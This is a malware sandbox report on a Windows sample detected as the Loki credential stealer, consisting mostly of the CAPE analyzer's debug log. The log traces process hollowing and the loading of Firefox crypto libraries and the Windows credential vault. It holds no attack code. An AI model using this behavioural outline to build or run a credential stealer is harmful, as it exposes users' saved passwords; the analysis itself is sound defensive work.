Detections

Yara:

Loki

Analysis

Category Package Started Completed Duration Options Log
FILE exe 2020-06-30 13:47:29 2020-06-30 13:53:07 338 seconds Show Options Show Log
route = tor
2020-05-13 09:29:20,105 [root] INFO: Date set to: 20200630T13:37:50, timeout set to: 200
2020-06-30 13:37:50,046 [root] DEBUG: Starting analyzer from: C:\tmp558c2t_g
2020-06-30 13:37:50,046 [root] DEBUG: Storing results at: C:\bioZEZNWxM
2020-06-30 13:37:50,046 [root] DEBUG: Pipe server name: \\.\PIPE\rFcdBgXRn
2020-06-30 13:37:50,046 [root] DEBUG: Python path: C:\Users\Louise\AppData\Local\Programs\Python\Python38-32
2020-06-30 13:37:50,046 [root] DEBUG: No analysis package specified, trying to detect it automagically.
2020-06-30 13:37:50,046 [root] INFO: Automatically selected analysis package "exe"
2020-06-30 13:37:50,046 [root] DEBUG: Trying to import analysis package "exe"...
2020-06-30 13:37:50,343 [root] DEBUG: Imported analysis package "exe".
2020-06-30 13:37:50,343 [root] DEBUG: Trying to initialize analysis package "exe"...
2020-06-30 13:37:50,343 [root] DEBUG: Initialized analysis package "exe".
2020-06-30 13:37:50,640 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.browser"...
2020-06-30 13:37:50,703 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser".
2020-06-30 13:37:50,703 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.curtain"...
2020-06-30 13:37:51,031 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain".
2020-06-30 13:37:51,031 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.digisig"...
2020-06-30 13:37:51,093 [root] DEBUG: Imported auxiliary module "modules.auxiliary.digisig".
2020-06-30 13:37:51,093 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.disguise"...
2020-06-30 13:37:51,234 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise".
2020-06-30 13:37:51,234 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.human"...
2020-06-30 13:37:51,265 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human".
2020-06-30 13:37:51,265 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.procmon"...
2020-06-30 13:37:51,328 [root] DEBUG: Imported auxiliary module "modules.auxiliary.procmon".
2020-06-30 13:37:51,328 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.screenshots"...
2020-06-30 13:37:51,484 [modules.auxiliary.screenshots] DEBUG: Importing 'time'
2020-06-30 13:37:51,484 [modules.auxiliary.screenshots] DEBUG: Importing 'StringIO'
2020-06-30 13:37:51,484 [modules.auxiliary.screenshots] DEBUG: Importing 'Thread'
2020-06-30 13:37:51,484 [modules.auxiliary.screenshots] DEBUG: Importing 'Auxiliary'
2020-06-30 13:37:51,484 [modules.auxiliary.screenshots] DEBUG: Importing 'NetlogFile'
2020-06-30 13:37:51,484 [modules.auxiliary.screenshots] DEBUG: Importing 'Screenshot'
2020-06-30 13:37:51,500 [lib.api.screenshot] DEBUG: Importing 'math'
2020-06-30 13:37:51,500 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2020-06-30 13:37:53,328 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2020-06-30 13:37:53,390 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2020-06-30 13:37:53,484 [modules.auxiliary.screenshots] DEBUG: Imports OK
2020-06-30 13:37:53,500 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots".
2020-06-30 13:37:53,500 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.sysmon"...
2020-06-30 13:37:53,500 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon".
2020-06-30 13:37:53,500 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.usage"...
2020-06-30 13:37:53,531 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage".
2020-06-30 13:37:53,531 [root] DEBUG: Trying to initialize auxiliary module "Browser"...
2020-06-30 13:37:53,531 [root] DEBUG: Initialized auxiliary module "Browser".
2020-06-30 13:37:53,531 [root] DEBUG: Trying to start auxiliary module "Browser"...
2020-06-30 13:37:53,531 [root] DEBUG: Started auxiliary module Browser
2020-06-30 13:37:53,546 [root] DEBUG: Trying to initialize auxiliary module "Curtain"...
2020-06-30 13:37:53,546 [root] DEBUG: Initialized auxiliary module "Curtain".
2020-06-30 13:37:53,546 [root] DEBUG: Trying to start auxiliary module "Curtain"...
2020-06-30 13:37:53,546 [root] DEBUG: Started auxiliary module Curtain
2020-06-30 13:37:53,546 [root] DEBUG: Trying to initialize auxiliary module "DigiSig"...
2020-06-30 13:37:53,546 [root] DEBUG: Initialized auxiliary module "DigiSig".
2020-06-30 13:37:53,546 [root] DEBUG: Trying to start auxiliary module "DigiSig"...
2020-06-30 13:37:53,546 [modules.auxiliary.digisig] DEBUG: Checking for a digital signature.
2020-06-30 13:37:55,171 [modules.auxiliary.digisig] DEBUG: File is not signed.
2020-06-30 13:37:55,187 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2020-06-30 13:37:55,187 [root] DEBUG: Started auxiliary module DigiSig
2020-06-30 13:37:55,187 [root] DEBUG: Trying to initialize auxiliary module "Disguise"...
2020-06-30 13:37:55,187 [root] DEBUG: Initialized auxiliary module "Disguise".
2020-06-30 13:37:55,187 [root] DEBUG: Trying to start auxiliary module "Disguise"...
2020-06-30 13:37:55,203 [root] DEBUG: Started auxiliary module Disguise
2020-06-30 13:37:55,203 [root] DEBUG: Trying to initialize auxiliary module "Human"...
2020-06-30 13:37:55,203 [root] DEBUG: Initialized auxiliary module "Human".
2020-06-30 13:37:55,203 [root] DEBUG: Trying to start auxiliary module "Human"...
2020-06-30 13:37:55,218 [root] DEBUG: Started auxiliary module Human
2020-06-30 13:37:55,218 [root] DEBUG: Trying to initialize auxiliary module "Procmon"...
2020-06-30 13:37:55,218 [root] DEBUG: Initialized auxiliary module "Procmon".
2020-06-30 13:37:55,218 [root] DEBUG: Trying to start auxiliary module "Procmon"...
2020-06-30 13:37:55,218 [root] DEBUG: Started auxiliary module Procmon
2020-06-30 13:37:55,218 [root] DEBUG: Trying to initialize auxiliary module "Screenshots"...
2020-06-30 13:37:55,218 [root] DEBUG: Initialized auxiliary module "Screenshots".
2020-06-30 13:37:55,218 [root] DEBUG: Trying to start auxiliary module "Screenshots"...
2020-06-30 13:37:55,218 [root] DEBUG: Started auxiliary module Screenshots
2020-06-30 13:37:55,234 [root] DEBUG: Trying to initialize auxiliary module "Sysmon"...
2020-06-30 13:37:55,234 [root] DEBUG: Initialized auxiliary module "Sysmon".
2020-06-30 13:37:55,234 [root] DEBUG: Trying to start auxiliary module "Sysmon"...
2020-06-30 13:37:55,234 [root] DEBUG: Started auxiliary module Sysmon
2020-06-30 13:37:55,234 [root] DEBUG: Trying to initialize auxiliary module "Usage"...
2020-06-30 13:37:55,234 [root] DEBUG: Initialized auxiliary module "Usage".
2020-06-30 13:37:55,234 [root] DEBUG: Trying to start auxiliary module "Usage"...
2020-06-30 13:37:55,234 [root] DEBUG: Started auxiliary module Usage
2020-06-30 13:37:55,234 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL option
2020-06-30 13:37:55,234 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL_64 option
2020-06-30 13:37:55,234 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader option
2020-06-30 13:37:55,234 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader_64 option
2020-06-30 13:37:55,375 [lib.api.process] INFO: Successfully executed process from path "C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.exe" with arguments "" with pid 3452
2020-06-30 13:37:55,375 [lib.api.process] INFO: Monitor config for process 3452: C:\tmp558c2t_g\dll\3452.ini
2020-06-30 13:37:55,406 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp558c2t_g\dll\GpwvbwYp.dll, loader C:\tmp558c2t_g\bin\UsdQJUb.exe
2020-06-30 13:37:55,562 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:37:55,562 [root] DEBUG: Loader: Injecting process 3452 (thread 4800) with C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:55,562 [root] DEBUG: Process image base: 0x00400000
2020-06-30 13:37:55,562 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:55,562 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 13:37:55,562 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:55,625 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 3452
2020-06-30 13:37:57,625 [lib.api.process] INFO: Successfully resumed process with pid 3452
2020-06-30 13:37:57,796 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:37:57,796 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:37:57,796 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 13:37:57,796 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 3452 at 0x72fd0000, image base 0x400000, stack from 0x186000-0x190000
2020-06-30 13:37:57,812 [root] DEBUG: Commandline: C:\Users\Louise\AppData\Local\Temp\"C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.exe".
2020-06-30 13:37:57,843 [root] INFO: Loaded monitor into process with pid 3452
2020-06-30 13:37:57,843 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 3452, handle 0xd4.
2020-06-30 13:37:57,859 [root] INFO: Disabling sleep skipping.
2020-06-30 13:37:57,859 [root] DEBUG: set_caller_info: Adding region at 0x003F0000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 13:37:58,312 [root] DEBUG: set_caller_info: Adding region at 0x01E30000 to caller regions list (kernel32::GetSystemTime).
2020-06-30 13:37:58,328 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x1e30000
2020-06-30 13:37:58,328 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x01E30000 size 0x400000.
2020-06-30 13:37:58,328 [root] DEBUG: DumpPEsInRange: Scanning range 0x1e30000 - 0x1e31000.
2020-06-30 13:37:58,328 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x1e30000-0x1e31000.
2020-06-30 13:37:58,359 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\bioZEZNWxM\CAPE\3452_1039829664585701372020 (size 0xe47)
2020-06-30 13:37:58,406 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\bioZEZNWxM\CAPE\3452_320647551585701372020 (size 0x93f0)
2020-06-30 13:37:58,406 [root] DEBUG: DumpRegion: Dumped stack region from 0x003F0000, size 0xa000.
2020-06-30 13:37:58,406 [root] DEBUG: set_caller_info: Adding region at 0x004F0000 to caller regions list (ntdll::memcpy).
2020-06-30 13:37:58,421 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\bioZEZNWxM\CAPE\3452_1213206640585701372020 (size 0x1a)
2020-06-30 13:37:58,453 [root] INFO: Announced 32-bit process name: MjPYKNO80AdS.exe pid: 1292
2020-06-30 13:37:58,453 [lib.api.process] INFO: Monitor config for process 1292: C:\tmp558c2t_g\dll\1292.ini
2020-06-30 13:37:58,453 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp558c2t_g\dll\GpwvbwYp.dll, loader C:\tmp558c2t_g\bin\UsdQJUb.exe
2020-06-30 13:37:58,468 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:37:58,468 [root] DEBUG: Loader: Injecting process 1292 (thread 4212) with C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,468 [root] DEBUG: Process image base: 0x00400000
2020-06-30 13:37:58,468 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,484 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 13:37:58,484 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,484 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1292
2020-06-30 13:37:58,484 [root] DEBUG: DLL loaded at 0x74C10000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-06-30 13:37:58,515 [root] DEBUG: DLL unloaded from 0x00400000.
2020-06-30 13:37:58,515 [root] DEBUG: CreateProcessHandler: using lpCommandLine: "C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.exe" .
2020-06-30 13:37:58,515 [root] DEBUG: CreateProcessHandler: Injection info set for new process 1292, ImageBase: 0x00400000
2020-06-30 13:37:58,515 [root] INFO: Announced 32-bit process name: MjPYKNO80AdS.exe pid: 1292
2020-06-30 13:37:58,515 [lib.api.process] INFO: Monitor config for process 1292: C:\tmp558c2t_g\dll\1292.ini
2020-06-30 13:37:58,515 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp558c2t_g\dll\GpwvbwYp.dll, loader C:\tmp558c2t_g\bin\UsdQJUb.exe
2020-06-30 13:37:58,531 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:37:58,531 [root] DEBUG: Loader: Injecting process 1292 (thread 4212) with C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,531 [root] DEBUG: Process image base: 0x00400000
2020-06-30 13:37:58,531 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,546 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-06-30 13:37:58,546 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,546 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1292
2020-06-30 13:37:58,546 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x120 amd local view 0x03740000 to global list.
2020-06-30 13:37:58,546 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x120 to target process 1292.
2020-06-30 13:37:58,562 [root] INFO: Announced 32-bit process name: MjPYKNO80AdS.exe pid: 1292
2020-06-30 13:37:58,562 [lib.api.process] INFO: Monitor config for process 1292: C:\tmp558c2t_g\dll\1292.ini
2020-06-30 13:37:58,562 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp558c2t_g\dll\GpwvbwYp.dll, loader C:\tmp558c2t_g\bin\UsdQJUb.exe
2020-06-30 13:37:58,578 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:37:58,578 [root] DEBUG: Loader: Injecting process 1292 (thread 0) with C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,578 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 4212, handle 0xbc
2020-06-30 13:37:58,578 [root] DEBUG: Process image base: 0x00400000
2020-06-30 13:37:58,578 [root] DEBUG: InjectDllViaIAT: Executable DOS header zero.
2020-06-30 13:37:58,578 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,578 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1292
2020-06-30 13:37:58,593 [root] DEBUG: SetThreadContextHandler: Hollow process entry point reset via NtSetContextThread to 0x000139DE (process 1292).
2020-06-30 13:37:58,593 [root] INFO: Announced 32-bit process name: MjPYKNO80AdS.exe pid: 1292
2020-06-30 13:37:58,593 [lib.api.process] INFO: Monitor config for process 1292: C:\tmp558c2t_g\dll\1292.ini
2020-06-30 13:37:58,593 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp558c2t_g\dll\GpwvbwYp.dll, loader C:\tmp558c2t_g\bin\UsdQJUb.exe
2020-06-30 13:37:58,609 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:37:58,609 [root] DEBUG: Loader: Injecting process 1292 (thread 4212) with C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,609 [root] DEBUG: Process image base: 0x00400000
2020-06-30 13:37:58,609 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,609 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 13:37:58,609 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\GpwvbwYp.dll.
2020-06-30 13:37:58,625 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1292
2020-06-30 13:37:58,625 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2020-06-30 13:37:58,625 [root] DEBUG: DumpProcess: Module entry point VA is 0x000139DE.
2020-06-30 13:37:58,687 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x18200.
2020-06-30 13:37:58,687 [root] DEBUG: ResumeThreadHandler: Dumped PE image from buffer.
2020-06-30 13:37:58,687 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 1292.
2020-06-30 13:37:58,687 [root] DEBUG: DumpSectionViewsForPid: Shared section view found with pid 1292, local address 0x03740000.
2020-06-30 13:37:58,687 [root] DEBUG: DumpSectionViewsForPid: Dumping PE image from shared section view, local address 0x03740000.
2020-06-30 13:37:58,703 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-06-30 13:37:58,703 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x03740000.
2020-06-30 13:37:58,703 [root] DEBUG: DumpProcess: Module entry point VA is 0x000139DE.
2020-06-30 13:37:58,703 [root] DEBUG: readPeSectionsFromProcess: Failed to relocate image back to header image base 0x00400000.
2020-06-30 13:37:58,718 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x18200.
2020-06-30 13:37:58,718 [root] DEBUG: DumpSectionViewsForPid: Dumped PE image from shared section view.
2020-06-30 13:37:58,718 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x3740001-0x37e2000.
2020-06-30 13:37:58,718 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 3452
2020-06-30 13:37:58,718 [root] DEBUG: GetHookCallerBase: thread 2300 (handle 0x0), return address 0x003F2E8B, allocation base 0x003F0000.
2020-06-30 13:37:58,718 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00400000.
2020-06-30 13:37:58,718 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-06-30 13:37:58,718 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2020-06-30 13:37:58,734 [root] DEBUG: DumpProcess: Module entry point VA is 0x00057B6C.
2020-06-30 13:37:58,734 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:37:58,750 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:37:58,750 [root] INFO: Disabling sleep skipping.
2020-06-30 13:37:58,750 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 13:37:58,750 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 1292 at 0x72fd0000, image base 0x400000, stack from 0x186000-0x190000
2020-06-30 13:37:58,750 [root] DEBUG: Commandline: C:\Users\Louise\AppData\Local\Temp\"C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.exe".
2020-06-30 13:37:58,796 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x95a00.
2020-06-30 13:37:58,796 [root] DEBUG: DLL unloaded from 0x768A0000.
2020-06-30 13:37:58,796 [root] INFO: Process with pid 3452 has terminated
2020-06-30 13:37:58,812 [root] INFO: Loaded monitor into process with pid 1292
2020-06-30 13:37:58,828 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd0 amd local view 0x750D0000 to global list.
2020-06-30 13:37:58,843 [root] DEBUG: DLL loaded at 0x750D0000: C:\Windows\syswow64\SHELL32 (0xc4c000 bytes).
2020-06-30 13:37:58,859 [root] DEBUG: DLL loaded at 0x74360000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-06-30 13:37:58,859 [root] DEBUG: DLL loaded at 0x74270000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-06-30 13:37:58,890 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xfc amd local view 0x72DA0000 to global list.
2020-06-30 13:37:58,906 [root] DEBUG: DLL loaded at 0x72DA0000: C:\Program Files (x86)\Mozilla Firefox\nss3 (0x22f000 bytes).
2020-06-30 13:37:58,921 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x711A0000 for section view with handle 0xfc.
2020-06-30 13:37:58,921 [root] DEBUG: DLL loaded at 0x711A0000: C:\Program Files (x86)\Mozilla Firefox\mozglue (0x71000 bytes).
2020-06-30 13:37:58,937 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf4 amd local view 0x76770000 to global list.
2020-06-30 13:37:58,968 [root] DEBUG: DLL loaded at 0x76770000: C:\Windows\syswow64\CRYPT32 (0x122000 bytes).
2020-06-30 13:37:59,000 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x71220000 for section view with handle 0xfc.
2020-06-30 13:37:59,031 [root] DEBUG: DLL loaded at 0x71220000: C:\Windows\system32\MSVCP140 (0x71000 bytes).
2020-06-30 13:37:59,046 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x72D80000 for section view with handle 0xfc.
2020-06-30 13:37:59,062 [root] DEBUG: DLL loaded at 0x72D80000: C:\Windows\system32\VCRUNTIME140 (0x15000 bytes).
2020-06-30 13:37:59,078 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74700000 for section view with handle 0xfc.
2020-06-30 13:37:59,125 [root] DEBUG: DLL loaded at 0x74700000: C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0 (0x4000 bytes).
2020-06-30 13:37:59,249 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x745C0000 for section view with handle 0xfc.
2020-06-30 13:37:59,249 [root] DEBUG: DLL loaded at 0x745C0000: C:\Windows\system32\api-ms-win-core-localization-l1-2-0 (0x3000 bytes).
2020-06-30 13:37:59,265 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x745B0000 for section view with handle 0xfc.
2020-06-30 13:37:59,281 [root] DEBUG: DLL loaded at 0x745B0000: C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1 (0x3000 bytes).
2020-06-30 13:37:59,281 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74590000 for section view with handle 0xfc.
2020-06-30 13:37:59,281 [root] DEBUG: DLL loaded at 0x74590000: C:\Windows\system32\api-ms-win-core-file-l1-2-0 (0x3000 bytes).
2020-06-30 13:37:59,296 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74580000 for section view with handle 0xfc.
2020-06-30 13:37:59,296 [root] DEBUG: DLL loaded at 0x74580000: C:\Windows\system32\api-ms-win-crt-string-l1-1-0 (0x4000 bytes).
2020-06-30 13:37:59,296 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74570000 for section view with handle 0xfc.
2020-06-30 13:37:59,312 [root] DEBUG: DLL loaded at 0x74570000: C:\Windows\system32\api-ms-win-crt-heap-l1-1-0 (0x3000 bytes).
2020-06-30 13:37:59,375 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74560000 for section view with handle 0xfc.
2020-06-30 13:37:59,390 [root] DEBUG: DLL loaded at 0x74560000: C:\Windows\system32\api-ms-win-crt-stdio-l1-1-0 (0x4000 bytes).
2020-06-30 13:37:59,484 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74550000 for section view with handle 0xfc.
2020-06-30 13:37:59,500 [root] DEBUG: DLL loaded at 0x74550000: C:\Windows\system32\api-ms-win-crt-convert-l1-1-0 (0x4000 bytes).
2020-06-30 13:37:59,500 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74530000 for section view with handle 0xfc.
2020-06-30 13:37:59,500 [root] DEBUG: DLL loaded at 0x74530000: C:\Windows\system32\api-ms-win-crt-locale-l1-1-0 (0x3000 bytes).
2020-06-30 13:37:59,515 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74540000 for section view with handle 0xfc.
2020-06-30 13:37:59,687 [root] DEBUG: DLL loaded at 0x74540000: C:\Windows\system32\api-ms-win-crt-math-l1-1-0 (0x5000 bytes).
2020-06-30 13:38:01,531 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x72D70000 for section view with handle 0xfc.
2020-06-30 13:38:02,296 [root] DEBUG: DLL loaded at 0x72D70000: C:\Windows\system32\api-ms-win-crt-multibyte-l1-1-0 (0x5000 bytes).
2020-06-30 13:38:02,328 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74520000 for section view with handle 0xfc.
2020-06-30 13:38:02,328 [root] DEBUG: DLL loaded at 0x74520000: C:\Windows\system32\api-ms-win-crt-time-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:02,343 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x744E0000 for section view with handle 0xfc.
2020-06-30 13:38:02,375 [root] DEBUG: DLL loaded at 0x744E0000: C:\Windows\system32\api-ms-win-crt-filesystem-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:02,375 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74500000 for section view with handle 0xfc.
2020-06-30 13:38:02,390 [root] DEBUG: DLL loaded at 0x74500000: C:\Windows\system32\api-ms-win-crt-environment-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:02,390 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74610000 for section view with handle 0xfc.
2020-06-30 13:38:02,406 [root] DEBUG: DLL loaded at 0x74610000: C:\Windows\system32\api-ms-win-crt-utility-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:02,421 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x71160000 for section view with handle 0xfc.
2020-06-30 13:38:03,453 [root] DEBUG: DLL loaded at 0x71160000: C:\Windows\system32\WINMM (0x32000 bytes).
2020-06-30 13:38:03,453 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x72D60000 for section view with handle 0xfc.
2020-06-30 13:38:03,468 [root] DEBUG: DLL loaded at 0x72D60000: C:\Windows\system32\WSOCK32 (0x7000 bytes).
2020-06-30 13:38:03,515 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x12c amd local view 0x71120000 to global list.
2020-06-30 13:38:03,515 [root] DEBUG: DLL loaded at 0x71120000: C:\Program Files (x86)\Mozilla Firefox\softokn3 (0x37000 bytes).
2020-06-30 13:38:03,531 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x710B0000 for section view with handle 0x12c.
2020-06-30 13:38:03,546 [root] DEBUG: DLL loaded at 0x710B0000: C:\Program Files (x86)\Mozilla Firefox\freebl3 (0x6f000 bytes).
2020-06-30 13:38:03,890 [root] DEBUG: DLL unloaded from 0x710B0000.
2020-06-30 13:38:03,906 [root] DEBUG: DLL unloaded from 0x71120000.
2020-06-30 13:38:03,921 [root] DEBUG: DLL unloaded from 0x72DA0000.
2020-06-30 13:38:03,921 [root] DEBUG: DLL unloaded from 0x734D0000.
2020-06-30 13:38:03,937 [root] DEBUG: DLL unloaded from 0x74F00000.
2020-06-30 13:38:04,031 [root] DEBUG: DLL unloaded from 0x734D0000.
2020-06-30 13:38:04,046 [root] DEBUG: DLL unloaded from 0x74F00000.
2020-06-30 13:38:04,046 [root] DEBUG: DLL unloaded from 0x766F0000.
2020-06-30 13:38:04,046 [root] DEBUG: DLL unloaded from 0x734D0000.
2020-06-30 13:38:04,046 [root] DEBUG: DLL unloaded from 0x74F00000.
2020-06-30 13:38:06,093 [root] DEBUG: DLL loaded at 0x72FC0000: C:\Windows\system32\vaultcli (0xc000 bytes).
2020-06-30 13:38:06,343 [root] DEBUG: DLL unloaded from 0x764D0000.
2020-06-30 13:38:10,187 [root] INFO: Announced starting service "b'VaultSvc'"
2020-06-30 13:38:10,187 [lib.api.process] INFO: Monitor config for process 472: C:\tmp558c2t_g\dll\472.ini
2020-06-30 13:38:10,265 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp558c2t_g\dll\PPaNRY.dll, loader C:\tmp558c2t_g\bin\KkoBFhxS.exe
2020-06-30 13:38:10,312 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:38:10,312 [root] DEBUG: Loader: Injecting process 472 (thread 0) with C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:10,343 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 13:38:10,343 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed, falling back to thread injection.
2020-06-30 13:38:10,375 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:38:10,390 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:38:10,406 [root] INFO: Disabling sleep skipping.
2020-06-30 13:38:10,421 [root] DEBUG: CAPE initialised: 64-bit monitor loaded in process 472 at 0x0000000072EC0000, image base 0x00000000FFF50000, stack from 0x0000000001BB6000-0x0000000001BC0000
2020-06-30 13:38:10,421 [root] DEBUG: Commandline: C:\Windows\sysnative\services.exe.
2020-06-30 13:38:10,500 [root] WARNING: b'Unable to place hook on LockResource'
2020-06-30 13:38:10,515 [root] WARNING: b'Unable to hook LockResource'
